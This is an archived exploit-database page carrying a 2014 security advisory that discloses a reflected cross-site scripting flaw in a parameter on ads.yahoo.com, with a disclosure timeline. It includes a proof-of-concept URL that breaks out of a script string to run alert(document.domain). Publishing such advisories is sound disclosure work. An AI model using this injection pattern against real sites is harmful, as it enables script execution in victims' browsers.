exploit the possibilities

Yahoo ads.yahoo.com Cross Site Scripting

Yahoo ads.yahoo.com Cross Site Scripting
Posted Mar 9, 2014
Authored by Stefan Schurtz

ads.yahoo.com suffered from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 1a81bafb8bc1548d44d52912486082ad

Yahoo ads.yahoo.com Cross Site Scripting

Change Mirror Download

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

In Nov ?13 I reported a Cross-site Scripting vulnerability to the Yahoo
Bug Bounty Program. As for my other reports, I?ve got no response or
feedback,
so I wrote a message to them via email this time ... and so on ... blah
blah :)

To cut a long story short, for all my reports the communication with
Yahoo was really bad and of course: No bounty!

Advisory: Yahoo Bug Bounty Program Vulnerability #1
XSS on ads.yahoo.com
Advisory ID: SSCHADV2013-YahooBB-001
Author: Stefan Schurtz
Affected Software: Successfully tested on ads.yahoo.com
Vendor URL: http://yahoo.com/
Vendor Status: Seems to be fixed
Bounty: nothing

==========================
Vulnerability Description
==========================

The '_cbv'-Paramter on "http://ads.yahoo.com" is prone to a Cross-site
Scripting vulnerability

==========================
PoC-Exploit
==========================

http://ads.yahoo.com/st?ad_type=iframe&ad_size=300x250&site=1181425&section_code=112260532&
cb=1385497647.226089&publisher_blob=${RS}|gmGLFTE4OC4mbYnzUpH6dwEQOTMuMlKVBC__yxq4
|2143911627|LREC2|1385497647.226089&yud=smpv%3d3%26ed%3dzxE1dF31xQzMnXQidpJpWNtP
OVygJhcHBknzVCnpTraLTXtt8jO7OEVYpCbxEhJcwmU2x.ekTqffsDUVYgceDTs.NijijL.tGPKwsdRUsLvxftzYGe
.0VUghSSHioqjLjQJ7KaidIocpC1oj2SKC4lg_EhLiMsmgXiq6wbNVL_VzG1fHxP77ptF04VC7jL7lL1vr0iRs.r6
8cRSLiFUFzH_pvnaxUy8-&_msd=1&_xcf=1&_exv=RDnhGI4wnN7uv.jS65VPBVAFmZBbevIBHZGnRIl5vxDV&_msig=10sorm5kd&rmxbkn=0&_cbv=132025816&81c91"-alert(document.domain)-"1580bfdcb31=1

==========================
Disclosure Timeline
==========================

28-Nov-2013 - vendor informed by contact form (Yahoo Bug Bounty Program)
31-Dec-2013 - next message to the Yahoo Securiy Contact
04-Jan-2014 - feedback from vendor
04-Jan-2014 - vendor informed again about the three vulnerabilities
06-Jan-2014 - feedback from vendor
15-Jan-2014 - contact with Jeff Zingler (Threat Response @ Yahoo)
16-Jan-2013 - contact with Jeff Zingler (Threat Response @ Yahoo) //
last contact

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://yahoo.com/
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2013-YahooBB-001.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iEYEARECAAYFAlMa754ACgkQg3svV2LcbMCOdwCeIA7oMkSnPBbwwWTDlQRV4igR
YcsAnim2G2fNSu42X8E2PXfSM2TNFqd9
=G3sf
-----END PGP SIGNATURE-----

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close